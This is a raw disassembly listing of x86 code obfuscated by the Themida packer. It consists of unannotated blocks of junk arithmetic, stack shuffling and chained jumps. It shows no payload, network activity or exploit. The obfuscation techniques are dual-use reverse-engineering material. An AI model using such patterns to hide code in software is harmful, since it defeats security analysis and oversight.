		add	ebp, 4
		jmp	loc_56F154
; ---------------------------------------------------------------------------


loc_566707:				; CODE XREF: sub_55EDA7+13E99j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56670C:				; CODE XREF: sub_55EDA7+6A85j
		sub	ebp, esi
		pop	esi
		mov	esi, ebp
		pop	ebp
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esi
		mov	esi, esp
		jmp	loc_57101F
; ---------------------------------------------------------------------------


loc_566723:				; CODE XREF: sub_55EDA7+B73Aj
		and	esi, 7D20256Ah
		jmp	loc_562A58
; ---------------------------------------------------------------------------


loc_56672E:				; CODE XREF: sub_55EDA7+2710j
		push	edi
		mov	edi, 4
		jmp	loc_564290
; ---------------------------------------------------------------------------


loc_566739:				; CODE XREF: sub_55EDA7+11748j
		mov	word ptr [esp+0Ch+var_E+2], dx
		mov	dh, 0F6h
		sub	al, 0C3h
		push	ecx
		jmp	loc_569B93
; ---------------------------------------------------------------------------


loc_566747:				; CODE XREF: sub_55EDA7+CD43j
		push	ecx
		mov	ch, 0D0h
		mov	ah, ch
		pop	ecx
		xor	ah, 98h
		neg	ah
		dec	ah
		or	ah, 15h
		sub	ah, 1Ah
		jmp	loc_5615C6
; ---------------------------------------------------------------------------


loc_56675F:				; CODE XREF: sub_5700E1+1j
		mov	ebx, 52D7652Eh
		xor	ebx, 25D51E60h
		jmp	loc_56C274
; ---------------------------------------------------------------------------


loc_56676F:				; CODE XREF: sub_55EDA7+E527j
		pop	[esp+10h+var_12+2]
		pop	esp
		mov	[esp+8+var_8], esi
		push	6592h
		jmp	loc_564401
; ---------------------------------------------------------------------------


loc_566780:				; CODE XREF: sub_55EDA7+4B70j
		push	esp
		push	[esp+0Ch+var_E+2]
		jmp	loc_5614C6
; ---------------------------------------------------------------------------


loc_566789:				; CODE XREF: sub_55EDA7+C620j
		pop	ecx
		add	ch, 49h
		sub	ch, 0E7h
		add	ch, 79h
		add	ch, 0C1h
		jmp	loc_56FBD0
; ---------------------------------------------------------------------------


loc_56679B:				; CODE XREF: sub_55EDA7+11651j
		pop	esp
		pop	ebx
		xor	ebx, 136D57F6h
		mov	edx, ebx
		pop	ebx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5667AB:				; CODE XREF: sub_55EDA7+BEC7j
		push	esi
		push	7394h
		mov	[esp+8+var_8], edx
		mov	edx, 4CE36745h
		push	edx
		pop	esi
		pop	edx
		shl	esi, 8
		jmp	loc_57219A
; ---------------------------------------------------------------------------


loc_5667C4:				; CODE XREF: sub_55EDA7+11FD6j
		mov	eax, 3CF46C1Eh
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, 23850C7Dh
		or	eax, 60661091h
		jmp	loc_570C49
; ---------------------------------------------------------------------------


loc_5667DC:				; CODE XREF: sub_55EDA7+6764j
		and	edi, 21962DC8h
		push	7D65h
		jmp	loc_56F90B
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 6Bh
		add	al, bl
		sub	esp, 4
		mov	[esp+2Ah+var_2A], esi
		sub	esp, 4
		mov	[esp+2Eh+var_2E], esp
		push	edi
		mov	edi, 4
		add	[esp+32h+var_2E], edi
		pop	edi
		push	[esp+2Eh+var_2E]
		pop	esi
		push	6E54h
		mov	[esp+32h+var_32], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+32h+var_32]
		pop	esp
		jmp	loc_56872B
; ---------------------------------------------------------------------------


loc_566828:				; CODE XREF: sub_55EDA7+CEB8j
		sub	eax, 4
		xchg	eax, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		mov	[esp+2Eh+var_2E], edx
		mov	eax, [esp+2Eh+var_2E]
		add	esp, 4
		push	[esp+2Ah+var_2A]
		mov	edx, [esp+2Eh+var_2E]
		sub	esp, 4
		mov	[esp+32h+var_32], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_565BF4
; ---------------------------------------------------------------------------


loc_566858:				; CODE XREF: sub_55EDA7+8469j
		pop	edx
		jmp	loc_56846E
; ---------------------------------------------------------------------------


loc_56685E:				; CODE XREF: sub_55EDA7+A995j
		add	esp, 4
		push	0A94h
		mov	[esp+2Eh+var_2E], ecx
		jmp	loc_5646FA
; ---------------------------------------------------------------------------


loc_56686E:				; CODE XREF: sub_55EDA7+81B4j
		not	edx
		jmp	loc_56EB75
; ---------------------------------------------------------------------------


loc_566875:				; CODE XREF: sub_55EDA7+DB17j
		add	esp, 4
		add	ebp, 0CF23B264h
		xor	eax, ebp
		mov	ebp, [esp+2Ah+var_2A]
		add	esp, 4
		sub	esp, 4
		jmp	loc_566AB0
; ---------------------------------------------------------------------------


loc_566894:				; CODE XREF: sub_55EDA7+10BD6j
		pop	esp
		pop	[esp+26h+var_26]
		pop	esp
		mov	ax, word ptr [esp+1Eh+var_1E]
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_569244
; ---------------------------------------------------------------------------


loc_5668A6:				; CODE XREF: sub_55EDA7+82B2j
		sub	edi, 0B79EBE41h
		mov	eax, edi
		pop	edi
		jmp	loc_56ADF8
; ---------------------------------------------------------------------------


loc_5668B4:				; CODE XREF: sub_55EDA7+137C6j
		push	ecx
		jmp	loc_5709F6
; ---------------------------------------------------------------------------


loc_5668BA:				; CODE XREF: sub_55EDA7+2DEFj
		mov	edx, 78523527h
		jmp	loc_56516F
; ---------------------------------------------------------------------------


loc_5668C4:				; CODE XREF: sub_55EDA7+E2CBj
		pop	esp
		pop	[esp-18h+arg_14]
		mov	esp, [esp-1Ch+arg_18]
		push	0EFBh
		mov	[esp-18h+arg_14], edx
		push	ecx
		mov	ecx, esp
		push	ebx
		push	edi
		mov	edi, 533D0CB3h
		shr	edi, 2
		add	edi, 0EB30BCD8h
		mov	ebx, edi
		pop	edi
		add	ecx, ebx
		mov	ebx, [esp-10h+arg_C]
		jmp	loc_55FE67
; ---------------------------------------------------------------------------


loc_5668F3:				; CODE XREF: sub_55EDA7+BD1Aj
		push	3686h
		mov	[esp-0Ch+arg_8], esi
		mov	esi, 4
		push	ebp
		jmp	loc_568EC0
; ---------------------------------------------------------------------------


loc_566906:				; CODE XREF: sub_55EDA7+C7B8j
		sub	esp, 4
		jmp	loc_56772D
; ---------------------------------------------------------------------------


loc_566911:				; CODE XREF: sub_55EDA7-8FDj
		add	esi, ebx
		mov	ebx, [esp+6+var_8+2]
		add	esp, 4
		add	esi, 2
		jmp	loc_56D68C
; ---------------------------------------------------------------------------


loc_566921:				; CODE XREF: sub_55EDA7+119F3j
		push	7D67h
		jmp	loc_560BC1
; ---------------------------------------------------------------------------


loc_56692B:				; CODE XREF: sub_55EDA7-2D9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56E949
; ---------------------------------------------------------------------------


loc_56693B:				; CODE XREF: sub_55EDA7+F6A0j
		sub	esi, 6182515Eh
		jmp	loc_56369F
; ---------------------------------------------------------------------------


loc_566946:				; CODE XREF: sub_55EDA7+292Aj
		add	edi, edx
		jmp	loc_561F4C
; ---------------------------------------------------------------------------


loc_56694D:				; CODE XREF: sub_55EDA7+CFD8j
		mov	word ptr [esp+34h+var_36+2], ax
		jmp	loc_56868F
; ---------------------------------------------------------------------------


loc_566956:				; CODE XREF: sub_55EDA7+13184j
		sub	ecx, 4
		xchg	ecx, [esp+34h+var_36+2]
		pop	esp
		jmp	loc_565BBD
; ---------------------------------------------------------------------------


loc_566965:				; CODE XREF: sub_55EDA7+269Cj
		push	32E2h
		mov	[esp+10h+var_12+2], eax
		push	eax
		push	esp
		jmp	loc_56D9B8
; ---------------------------------------------------------------------------


loc_566974:				; CODE XREF: sub_55EDA7+6D7Ej
		push	edi
		not	[esp+32h+var_32]
		pop	edi
		jmp	sub_571998
; ---------------------------------------------------------------------------


loc_56697E:				; CODE XREF: sub_55EDA7+C06Bj
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_55F292
; ---------------------------------------------------------------------------


loc_56698B:				; CODE XREF: sub_55EDA7+9CCDj
		sub	esp, 4
		mov	[esp+36h+var_36], ecx
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edi
		jmp	loc_5644D4
; ---------------------------------------------------------------------------


loc_56699C:				; CODE XREF: sub_55EDA7+B921j
		add	cl, 0BAh
		mov	al, cl
		jmp	loc_55F416
; ---------------------------------------------------------------------------


loc_5669A6:				; CODE XREF: sub_55EDA7+EC0Cj
		or	bl, 67h
		xor	bl, 91h
		add	ch, bl
		pop	ebx
		sub	ch, 0CAh
		add	ch, al
		add	ch, 0CAh
		sub	ch, 0EEh
		mov	ax, word ptr [esp+36h+var_36]
		add	esp, 2
		xor	al, ch
		mov	cx, word ptr [esp+32h+var_32]
		jmp	loc_56D4DE
; ---------------------------------------------------------------------------


loc_5669CC:				; CODE XREF: sub_55EDA7+F271j
		pop	edi
		mov	edi, esi
		pop	esi
		pop	ebx
		add	ebx, edi
		pop	edi
		add	edx, ebx
		pop	ebx
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	7E3Fh
		mov	[esp+1Eh+var_1E], ebx
		jmp	loc_56F7AE
; ---------------------------------------------------------------------------


loc_5669EA:				; CODE XREF: sub_55EDA7+D954j
		pop	ebp
		jmp	loc_563905
; ---------------------------------------------------------------------------


loc_5669F0:				; CODE XREF: sub_55EDA7+E6EFj
		shr	ebp, 5
		sub	ebp, 0FFFFFFFFh
		jmp	loc_56BC1A
; ---------------------------------------------------------------------------


loc_5669FE:				; CODE XREF: sub_55EDA7+C238j
		push	5B22h
		mov	[esp+1Eh+var_1E], esi
		jmp	loc_572178
; ---------------------------------------------------------------------------


loc_566A0B:				; CODE XREF: sub_55EDA7+448Bj
		mov	[esp-4+arg_0], ecx
		push	[esp-4+arg_4]
		jmp	loc_55EB37
; ---------------------------------------------------------------------------


loc_566A17:				; CODE XREF: sub_55EDA7+92A0j
		xor	dl, 7Ah
		jmp	loc_5671C0
; ---------------------------------------------------------------------------


loc_566A1F:				; CODE XREF: Themida_:0056F02Aj
		shr	edx, 2
		or	edx, 1F1A094Eh
		jmp	loc_568393
; ---------------------------------------------------------------------------


loc_566A2D:				; CODE XREF: sub_55EDA7+106E1j
		sub	bl, ch
		jmp	loc_56AAF8
; ---------------------------------------------------------------------------


loc_566A34:				; CODE XREF: sub_55EDA7+271Aj
		and	eax, 4AFF29D4h
		shl	eax, 3
		push	esi
		mov	esi, 7B06088Bh
		and	eax, esi
		pop	esi
		xchg	eax, ebx
		push	ebx
		jmp	loc_5644C6
; ---------------------------------------------------------------------------


loc_566A4C:				; CODE XREF: sub_55EDA7+BA95j
		pop	ebp
		xor	ecx, 69AD7FD5h
		jmp	loc_56D02E
; ---------------------------------------------------------------------------


loc_566A58:				; CODE XREF: sub_55EDA7+E3FAj
		sub	[esp+8+var_8], 1A597423h
		pop	eax
		add	eax, 1A597423h
		jmp	loc_571AD4
; ---------------------------------------------------------------------------


loc_566A6A:				; CODE XREF: sub_55EDA7+F53Aj
		xor	ecx, edi
		pop	edi
		jmp	loc_560032
; ---------------------------------------------------------------------------


loc_566A72:				; CODE XREF: sub_55EDA7+D4E2j
		pop	edx
		add	ax, bp
		add	ax, 0C4Ah
		pop	bp
		jmp	loc_570E73
; ---------------------------------------------------------------------------


loc_566A81:				; CODE XREF: sub_55EDA7+CCCj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-0Ch+arg_8]
		pop	esp
		push	34F0h
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 2
		sub	eax, 32090025h
		sub	eax, 77053C75h
		add	eax, ecx
		push	edx
		jmp	loc_5636E2
; ---------------------------------------------------------------------------


loc_566AB0:				; CODE XREF: sub_55EDA7+7AE8j
		mov	[esp+2Ah+var_2A], edi
		mov	edi, eax
		jmp	loc_55FE1E
; ---------------------------------------------------------------------------


loc_566ABA:				; CODE XREF: sub_55EDA7+13DA9j
		mov	ax, word ptr [esp+2Ah+var_2A]
		add	esp, 2
		add	bl, al
		jmp	loc_565570
; ---------------------------------------------------------------------------


loc_566AC8:				; CODE XREF: sub_55EDA7+19EFj
		mov	ecx, 0E8640D9h
		sub	ecx, 1
		dec	ecx
		neg	ecx
		jmp	loc_570611
; ---------------------------------------------------------------------------


loc_566ADB:				; CODE XREF: sub_55EDA7+75E7j
		pop	ebp
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebx
		mov	ebx, 5EDE6497h
		sub	eax, 1752309Ah
		add	eax, ebx
		add	eax, 1752309Ah
		pop	ebx
		push	547Fh
		mov	[esp+1Ah+var_1A], ebx
		push	4B1Dh
		mov	[esp+1Eh+var_1E], edx
		jmp	loc_55FB68
; ---------------------------------------------------------------------------


loc_566B0C:				; CODE XREF: sub_55EDA7+1394Bj
		sub	ecx, edx
		sub	ecx, 136B1F27h
		mov	edx, [esp+1Eh+var_1E]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_562127
; ---------------------------------------------------------------------------


loc_566B25:				; CODE XREF: sub_55EDA7+1230Aj
		pop	ebp
		add	ebp, ecx
		jmp	loc_55E9EF
; ---------------------------------------------------------------------------


loc_566B2D:				; CODE XREF: sub_55EDA7+78CDj
		push	[esp+20h+var_22+2]
		pop	ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], edx
		push	esp
		mov	edx, [esp+28h+var_2A+2]
		add	esp, 4
		add	edx, 4
		push	ecx
		jmp	loc_56380F
; ---------------------------------------------------------------------------


loc_566B4D:				; CODE XREF: sub_55EDA7+19C2j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5622DD
; ---------------------------------------------------------------------------


loc_566B60:				; CODE XREF: sub_55EDA7+FAC0j
		pop	edx
		inc	edx
		jmp	loc_56740F
; ---------------------------------------------------------------------------


loc_566B67:				; CODE XREF: sub_55EDA7-938j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Eh+var_E]
		pop	esp
		pop	dword ptr [esp+0]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_567A32
; ---------------------------------------------------------------------------


loc_566B81:				; CODE XREF: sub_55EDA7+BFB0j
		push	esp
		jmp	loc_566D75
; ---------------------------------------------------------------------------


loc_566B87:				; CODE XREF: sub_55EDA7+9B49j
		mov	[esp+0], ebx
		pop	edx
		jmp	loc_561778
; ---------------------------------------------------------------------------


loc_566B90:				; CODE XREF: sub_55EDA7+9D3Dj
		sub	esp, 4
		mov	[esp+0], edx
		mov	dh, 0E5h
		sub	dh, 1
		jmp	loc_560E3C
; ---------------------------------------------------------------------------


loc_566BA0:				; CODE XREF: sub_55EDA7+10D11j
		push	edx
		push	55347016h
		push	[esp+12h+var_12]
		pop	edx
		add	esp, 4
		mov	ebp, 799EF95Ch
		xor	ebp, edx
		mov	edx, [esp+0Eh+var_E]
		add	esp, 4
		jmp	loc_564062
; ---------------------------------------------------------------------------


loc_566BC2:				; CODE XREF: sub_55EDA7+D55Fj
		sub	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_56609B
; ---------------------------------------------------------------------------


loc_566BD3:				; CODE XREF: sub_55EDA7+3347j
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], ebp
		jmp	loc_56C1B0
; ---------------------------------------------------------------------------


loc_566BE8:				; CODE XREF: sub_55EDA7+F2A2j
		sub	ebx, 2F187EA5h
		add	ebx, edx
		sub	esp, 4
		jmp	loc_560CFD
; ---------------------------------------------------------------------------


loc_566BF8:				; CODE XREF: sub_55EDA7+EC2Cj
		push	edx
		jmp	loc_56CFC8
; ---------------------------------------------------------------------------


loc_566BFE:				; CODE XREF: sub_55EDA7+CD7Fj
		sub	esp, 4
		jmp	loc_56D87A
; ---------------------------------------------------------------------------


loc_566C09:				; CODE XREF: sub_572A84+6j
		mov	[esp+20h+var_22+2], esp
		push	edi
		mov	edi, 4
		jmp	loc_564567
; ---------------------------------------------------------------------------


loc_566C17:				; CODE XREF: sub_55EDA7+BF26j
		add	ebp, 39F81509h
		jmp	loc_5664A9
; ---------------------------------------------------------------------------


loc_566C22:				; CODE XREF: sub_55EDA7+93F8j
		neg	bh
		shr	bh, 4
		sub	esp, 4
		jmp	loc_563C66
; ---------------------------------------------------------------------------


loc_566C2F:				; CODE XREF: sub_55EDA7+1197Fj
		pop	edx
		jmp	loc_56CB12
; ---------------------------------------------------------------------------


loc_566C35:				; CODE XREF: sub_55EDA7+12AA8j
		push	esi
		mov	esi, 722B2A4Fh
		jmp	loc_56C96B
; ---------------------------------------------------------------------------


loc_566C40:				; CODE XREF: sub_55EDA7+BA06j
		pop	eax
		jmp	loc_56050B
; ---------------------------------------------------------------------------


loc_566C46:				; CODE XREF: sub_55EDA7+1112j
		pop	ebp
		add	ebx, 2
		push	ebx
		push	[esp+arg_0]
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_562431
; ---------------------------------------------------------------------------


loc_566C5E:				; CODE XREF: sub_55EDA7+585Aj
		neg	esi
		xor	esi, 47D1319h
		xor	esi, 0D3736476h
		jmp	loc_5665E6
; ---------------------------------------------------------------------------


loc_566C71:				; CODE XREF: sub_55EDA7+DC1Bj
		mov	[esp-12h+arg_C+2], eax
		mov	eax, 65D726DDh
		jmp	loc_56967E
; ---------------------------------------------------------------------------
		lodsd
		push	3A9Dh
		mov	[esp-0Eh+arg_8+2], edi
		push	0C1A41D8h
		pop	edi
		add	eax, 19181962h
		sub	eax, edi
		jmp	loc_571E93
; ---------------------------------------------------------------------------


loc_566C99:				; CODE XREF: sub_55EDA7+8750j
		inc	esi
		xor	esi, 675A7874h
		jmp	loc_56185A
; ---------------------------------------------------------------------------


loc_566CA5:				; CODE XREF: sub_55EDA7+61C4j
		sub	ebx, 1F104AA9h
		jmp	loc_5679F9
; ---------------------------------------------------------------------------


loc_566CB0:				; CODE XREF: sub_55EDA7+3j
		mov	[esp-4+arg_0], eax
		push	36A91908h
		pop	eax
		push	1FE6h
		mov	[esp+0], ebx
		push	234F55F2h
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ebx
		jmp	loc_569292
; ---------------------------------------------------------------------------


loc_566CD2:				; CODE XREF: sub_55EDA7+5F8Aj
		neg	esi
		add	esi, 0B8A40423h
		sub	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		add	eax, edi
		sub	eax, 4F983ED2h
		pop	edi
		jmp	loc_5666CD
; ---------------------------------------------------------------------------


loc_566CED:				; CODE XREF: sub_55EDA7+5E31j
		pop	esi
		xor	ebx, ecx
		mov	ecx, [esp-12h+arg_C+2]
		add	esp, 4
		sub	eax, 7DFC13E6h
		sub	eax, ebx
		add	eax, 7DFC13E6h
		jmp	loc_56AC73
; ---------------------------------------------------------------------------


loc_566D07:				; CODE XREF: sub_55EDA7+13F74j
		and	ebx, 6D7C2173h
		and	ebx, 0B176344h
		jmp	loc_55E5D6
; ---------------------------------------------------------------------------


loc_566D18:				; CODE XREF: sub_55EDA7+89DCj
		pop	eax
		jmp	loc_5672BD
; ---------------------------------------------------------------------------


loc_566D1E:				; CODE XREF: sub_55EDA7+12E18j
		pop	eax
		xchg	edx, [esp-1Eh+arg_18+2]
		jmp	loc_560A78
; ---------------------------------------------------------------------------


loc_566D27:				; CODE XREF: sub_55EDA7+F0DFj
		add	eax, edx
		jmp	loc_5655C9
; ---------------------------------------------------------------------------


loc_566D2E:				; CODE XREF: sub_55EDA7+10F63j
		xor	ebx, [esp-1Eh+arg_18+2]
		xor	[esp-1Eh+arg_18+2], ebx
		xor	ebx, [esp-1Eh+arg_18+2]
		pop	esp
		mov	ecx, [esp-22h+arg_1C+2]
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_566D46:				; CODE XREF: sub_55EDA7+9071j
		mov	edi, 255C6839h
		not	edi
		add	edi, 255C683Eh
		jmp	loc_56A44B
; ---------------------------------------------------------------------------


loc_566D58:				; CODE XREF: sub_55EDA7+ECB9j
		mov	[esp-26h+arg_20+2], eax
		mov	eax, 34844352h
		add	edi, eax
		jmp	loc_563D20
; ---------------------------------------------------------------------------


loc_566D67:				; CODE XREF: sub_55EDA7+F918j
		add	edx, 4
		push	edx
		push	[esp-22h+arg_20+2]
		pop	edx
		jmp	loc_560E93
; ---------------------------------------------------------------------------


loc_566D75:				; CODE XREF: sub_55EDA7+7DDBj
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+6+var_8+2]
		pop	esp
		push	[esp+2+var_4+2]
		pop	ecx
		jmp	loc_56E61E
; ---------------------------------------------------------------------------


loc_566D8F:				; CODE XREF: sub_55EDA7+9580j
		mov	[esp+2+var_4+2], edi
		mov	edi, 61392E36h
		neg	edi
		xor	edi, 9EC6D1CEh
		add	[esp+4], edi
		jmp	loc_564633
; ---------------------------------------------------------------------------


loc_566DA8:				; CODE XREF: sub_55EDA7+F97Cj
		add	edx, 4
		add	edx, 4
		jmp	loc_55E352
; ---------------------------------------------------------------------------


loc_566DB9:				; CODE XREF: sub_55EDA7+4C81j
		push	edi
		jmp	loc_56A34A
; ---------------------------------------------------------------------------


loc_566DBF:				; CODE XREF: sub_55EDA7+123D6j
		inc	ebp
		jmp	loc_565F49
; ---------------------------------------------------------------------------


loc_566DC5:				; CODE XREF: sub_55EDA7+10B10j
		xor	[esp+14h+var_16+2], ebx
		xor	ebx, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		mov	word ptr [esp+14h+var_16+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_566DDE:				; CODE XREF: Themida_:0057023Ej
		push	4CEC67F1h
		pop	edx
		xor	edx, ebx
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_562F80
; ---------------------------------------------------------------------------


loc_566DF4:				; CODE XREF: sub_55EDA7+20DCj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_567894
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2+var_4+2]
		push	1214h
		mov	[esp+6+var_8+2], edi
		jmp	loc_567250
; ---------------------------------------------------------------------------


loc_566E13:				; CODE XREF: sub_55EDA7+128CDj
		mov	esi, 54C83027h
		push	ebp
		mov	ebp, 71EA0CDAh
		xor	esi, ebp
		jmp	loc_560D7A
; ---------------------------------------------------------------------------


loc_566E25:				; CODE XREF: sub_55EDA7+D66Ej
		sub	eax, 4E5658F9h
		push	2984h
		mov	[esp+0Eh+var_E], ebx
		jmp	loc_56E381
; ---------------------------------------------------------------------------


loc_566E37:				; CODE XREF: sub_55ED3F+Cj
		mov	esi, 4
		jmp	loc_56651D
; ---------------------------------------------------------------------------


loc_566E41:				; CODE XREF: sub_55EDA7+12004j
		push	[esp+0Eh+var_E]
		pop	esi
		push	ebp
		jmp	loc_5666FA
; ---------------------------------------------------------------------------


loc_566E4B:				; CODE XREF: sub_55EDA7+8EE1j
		sub	esp, 4
		mov	[esp+16h+var_16], edi
		mov	ecx, [esp+16h+var_16]
		jmp	loc_56BFF4
; ---------------------------------------------------------------------------


loc_566E5C:				; CODE XREF: sub_55EDA7+7245j
		add	ecx, 5EE3097Ch
		add	esi, ecx
		pop	ecx
		push	edi
		push	ebp
		mov	ebp, 69A12544h
		sub	ebp, 248960A8h
		dec	ebp
		jmp	loc_57094C
; ---------------------------------------------------------------------------


loc_566E78:				; CODE XREF: sub_55EDA7+C9C0j
		xor	ecx, 1946645Dh
		inc	ecx
		sub	ecx, 26F76590h
		add	esi, ecx
		pop	ecx
		push	ecx
		jmp	sub_5708C8
; ---------------------------------------------------------------------------


loc_566E8E:				; CODE XREF: sub_55EDA7+1469j
		and	edx, 0E1D2C12h
		xor	edx, 21456ECCh
		jmp	loc_57272C
; ---------------------------------------------------------------------------


loc_566E9F:				; CODE XREF: sub_55EDA7+7581j
		shr	ebx, 8
		jmp	loc_56DFE2
; ---------------------------------------------------------------------------


loc_566EA7:				; CODE XREF: sub_55EDA7+8E2Ej
		push	[esp-12h+arg_10+2]
		pop	edi
		pop	[esp-12h+arg_C+2]
		mov	esp, [esp-16h+arg_10+2]
		push	edi
		mov	edi, 40A46F63h
		add	[esp-12h+arg_10+2], edi
		push	[esp-12h+arg_C+2]
		mov	edi, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_571147
; ---------------------------------------------------------------------------


loc_566ECD:				; CODE XREF: sub_55EDA7+12F01j
		or	edx, 72A874E7h
		xor	edx, 0FAAE77FDh
		push	ecx
		mov	ecx, edx
		push	ecx
		jmp	loc_5727EA
; ---------------------------------------------------------------------------


loc_566EE2:				; DATA XREF: Themida_:0055E05Co
		mov	cx, word ptr [esp-6+arg_0+2]
		push	2CE2h
		mov	[esp+0], ebp
		push	2906h
		mov	[esp+2+var_4+2], esp
		jmp	loc_564453
; ---------------------------------------------------------------------------


loc_566EFB:				; CODE XREF: sub_55EDA7+2B62j
		push	119Ah
		mov	[esp-24h+arg_20], ecx
		push	[esp-24h+arg_24]
		mov	ecx, [esp-20h+arg_1C]
		jmp	loc_56A0D9
; ---------------------------------------------------------------------------


loc_566F0F:				; CODE XREF: sub_5714BB+9j
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_5716FB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-20h+arg_1C]
		push	ebp
		mov	ebp, esp
		jmp	loc_56070E
; ---------------------------------------------------------------------------


loc_566F2A:				; CODE XREF: sub_55EDA7+E90j
		pop	ecx
		add	esp, 4
		pop	ebx
		sub	esi, 296F3747h
		add	esi, ecx
		push	eax
		mov	eax, 26235B65h
		dec	eax
		inc	eax
		add	eax, 7A6E6958h
		not	eax
		jmp	loc_56E9E3
; ---------------------------------------------------------------------------


loc_566F4E:				; CODE XREF: sub_55EDA7+18D2j
		mov	ecx, [esp-1Ch+arg_18]
		jmp	loc_56FC2D
; ---------------------------------------------------------------------------


loc_566F56:				; CODE XREF: sub_55EDA7+DB61j
		mov	edx, 3596573Eh
		jmp	loc_56686E
; ---------------------------------------------------------------------------


loc_566F60:				; CODE XREF: sub_55EDA7+104BBj
		not	esi
		xor	esi, 64941224h
		and	esi, 5AF877F8h
		or	esi, 7D6319D5h
		jmp	loc_562FF9
; ---------------------------------------------------------------------------


loc_566F79:				; CODE XREF: sub_55EDA7+13177j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_566F7E:				; CODE XREF: sub_55ED11+6j
		mov	[esp-1Ch+arg_18], ecx
		push	[esp-1Ch+arg_1C]
		jmp	loc_56832C
; ---------------------------------------------------------------------------


loc_566F8A:				; CODE XREF: sub_55EDA7+EF7j
		add	ebp, 31224B7Fh
		shr	ebp, 8
		jmp	loc_570E17
; ---------------------------------------------------------------------------


loc_566F98:				; CODE XREF: sub_55EDA7+9F52j
		add	ebx, eax
		add	ebx, 747922BCh
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_E+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_12+2]
		pop	esp
		push	7A6Ah
		mov	[esp+10h+var_12+2], edi
		mov	edi, esp
		jmp	loc_56F89B
; ---------------------------------------------------------------------------


loc_566FC8:				; CODE XREF: sub_55EDA7+E3ADj
		mov	eax, 77B0738Fh
		sub	edx, eax
		jmp	loc_57079F
; ---------------------------------------------------------------------------


loc_566FD4:				; CODE XREF: sub_55EDA7+34B3j
		and	ecx, 1AB21C35h
		push	eax
		jmp	loc_56394E
; ---------------------------------------------------------------------------


loc_566FE0:				; CODE XREF: sub_55E846+D43Bj
		add	al, 46h
		sub	al, 0E6h
		add	al, bl
		jmp	loc_56DB03
; ---------------------------------------------------------------------------


loc_566FEB:				; CODE XREF: sub_55EDA7+600Dj
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], edx
		jmp	loc_56A5E3
; ---------------------------------------------------------------------------


loc_566FFF:				; CODE XREF: sub_55EDA7+ADE7j
		inc	word ptr [esp+44h+var_46+2]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567009:				; DATA XREF: Themida_:0055DFA4o
		mov	ax, word ptr [esp+48h+var_4A+2]
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 39A91C05h
		jmp	loc_564355
; ---------------------------------------------------------------------------


loc_56701B:				; CODE XREF: sub_55EDA7+D317j
		sub	ebx, 33523855h
		pop	edx
		add	ebx, 5F134BE9h
		add	ebx, ecx
		sub	ebx, 5F134BE9h
		sub	ebx, 79E41715h
		mov	ecx, [esp+4Ch+var_4E+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		jmp	loc_568944
; ---------------------------------------------------------------------------


loc_56704D:				; CODE XREF: sub_55EDA7+C07Cj
		push	edi
		mov	edi, 70F37D15h
		sub	edi, 775E4690h
		jmp	loc_5668A6
; ---------------------------------------------------------------------------


loc_56705E:				; CODE XREF: sub_55EDA7+12DC5j
		mov	[esp+54h+var_54], edi
		mov	edi, 6B436A24h
		and	edi, 44072F18h
		push	76DAh
		mov	[esp+58h+var_58], edx
		mov	edx, 4D33196Ah
		or	edi, edx
		pop	edx
		inc	edi
		inc	edi
		and	edi, 4A100D1Ah
		sub	edi, 48100907h
		add	ecx, 71037856h
		sub	ecx, edi
		jmp	loc_56213B
; ---------------------------------------------------------------------------


